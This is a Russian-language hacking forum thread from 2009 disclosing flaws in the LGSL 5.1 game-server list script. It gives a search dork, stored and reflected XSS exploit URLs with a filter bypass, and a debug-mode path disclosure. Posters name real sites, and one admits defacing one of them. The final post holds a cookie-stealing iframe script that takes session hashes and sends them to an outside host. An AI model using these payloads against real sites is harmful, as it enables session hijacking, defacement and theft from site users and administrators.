Обзор уязвимостей LGSL 5.1

Discussion in 'Веб-уязвимости' started by AFoST, 27 Jun 2009.

  1. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Продукт: LGSL 5.1 By Richard Perry
    Описание: Live Game Server List
    Дорк: "LGSL 5.1 By Richard Perry"


    1. aXSS
    активная xss существует из-за неправильной проверки переменной $request, передаваемой через GET.
    в /lgsl_files/lgsl_class.php если в значении переменной $request есть символ "а", то будет произведена запись в бд.
    PHP:
    function lgsl_query_cached($type$ip$c_port$q_port$s_port$request)
        {
    ...
          if (
    strpos($request"a") !== FALSE)
          {
            
    $mysql_query     "INSERT INTO `{$lgsl_config['db']['prefix']}{$lgsl_config['db']['table']}` (`type`,`ip`,`c_port`,`q_port`,`s_port`,`cache`,`cache_time`) VALUES ('{$type}','{$ip}','{$c_port}','{$q_port}','{$s_port}','','')";
            
    $mysql_result    mysql_query($mysql_query) or die(mysql_error());
            
    $mysql_row['id'] = mysql_insert_id();
    ...
    Запись в бд разрешена только админу. Но можно это сделать и не имея его прав. в файле
    /lgsl_files/lgsl_feed.php производится обрезание симола "а".
    PHP:
    ...
      require 
    "lgsl_class.php";
    ...
    $request $lgsl_config['public_feed'] ? $request."a" str_replace("a"""$request);
    ...
    Эту фильтрацию можно обойти.
    exploit:
    Code:
    /lgsl_files/lgsl_feed.php?type=rfactor&ip=bestserver<script>alert(1)</script>&c_port=2&q_port=32&s_port=4&request[]=5
    значение переданной переменной request будет Array(тк не указан индекс массива), а функцией lgsl_query_cached() будет найден символ "а" и произойдет запись в бд.
    example:
    Code:
    http://www.greycube.com/site/e107_plugins/lgsl/?s=1151
    от меня там синяя надпись "hacked by hacker". криво получилось) поломал им всю статистику =\
    Эта статистика ставится совместно с e107 0.7+, Joomla 1.5+, PHP Nuke и др (как написано в документации). Соответственно, можно получить многавкусныхкуков.


    2. pXSS
    Code:
    http://lgsl/lgsl_files/lgsl_export.php?output=%3Cscript%3Ealert(1)%3C/script%3E
    Code:
    http://lgsl/lgsl_files/lgsl_feed.php?type=%3Cscript%3Ealert(/type/)%3C/script%3E&ip=1&c_port=2&q_port=3&s_port=4&request=5
    3. Full path disclosure
    Code:
    http://lgsl/lgsl_files/lgsl_feed.php?type[]=rfactor&ip=ip&c_port=2&q_port=32&s_port=4&request=5
    Code:
    http://lgsl/lgsl_files/lgsl_feed.php?type=rfactor&ip[]=1&c_port=2&q_port=3&s_port=4&request=5
     
    #1 AFoST, 27 Jun 2009
    Last edited: 27 Jun 2009
    1 person likes this.
  2. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    мигом посмотрел..

    XSS
    /admin.php
    Code:
    <form method='post' action='{$_SERVER['PHP_SELF']}' id='lgsl_admin_auth'>
    exploit:
    Code:
    /admin.php/'><script>alert(document.cookie);</script>
    работает только в админа, из-за проверки

    p.s.:
    2. pXSS
    в lgsl_feed.php ксс можно произвести не только через п-тр type , но и через ip и через request
    Code:
    /lgsl/lgsl_files/lgsl_feed.php?type=1&ip=<hr>&c_port=3&q_port=4&s_port=5&request=6&xml=7
    /lgsl/lgsl_files/lgsl_feed.php?type=ut&ip=2&c_port=3&q_port=4&s_port=5&request=<hr>
     
    #2 eLWAux, 27 Jun 2009
    Last edited: 27 Jun 2009
    2 people like this.
  3. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    3. Full path disclosure

    доступен, из-за дебаг-режима
    lgsl\lgsl_files\lgsl_class.php:
    PHP:
      if ($_GET['lgsl_debug'])
      {
        echo 
    "<hr /><pre>".print_r($_SERVERTRUE)."</pre>
              <hr />#0# "
    .realpath($_SERVER['DOCUMENT_ROOT'])."
              <hr />#1# "
    .__FILE__."
              <hr />#2# "
    .realpath(__FILE__)."
              <hr />#3# "
    .dirname(realpath(__FILE__))."
              <hr />#4# 
    {$lgsl_file_path}";
      }
    use: добавляем к любой страничке GET параметр: &lgsl_debug=1
    пример:
    Code:
    http://www.oghf.org.uk/e107_plugins/lgsl/lgsl_files/lgsl_class.php?lgsl_debug=bl0
    http://www.oghf.org.uk/e107_plugins/lgsl/?lgsl_debug=bl0
    http://www.greycube.com/site/e107_plugins/lgsl/?lgsl_debug=bl0
     
  4. euphoria

    euphoria New Member

    Joined:
    3 Sep 2010
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Code:
    <iframe name=ifr id=ifr src=http://site.net/lgsl_files/lgsl_export.php?lgsl_debug=1></iframe><script>function getframe(){str=(ifr.document.body.innerHTML);res=(str.match(/(ssionhash=)((.){32})/m));rs=(str.match(/(HTTP_USER_AGENT\] =&gt; )(.*)/m));img = new Image();img.src = "http://mysite.net?text="+rs[2]+"~bbsessionhash="+res[2]}setTimeout('getframe()',500)</script>
    например через iframe получить защищенные данные в дебаг режиме.
    и через регулярку получить то, что нужно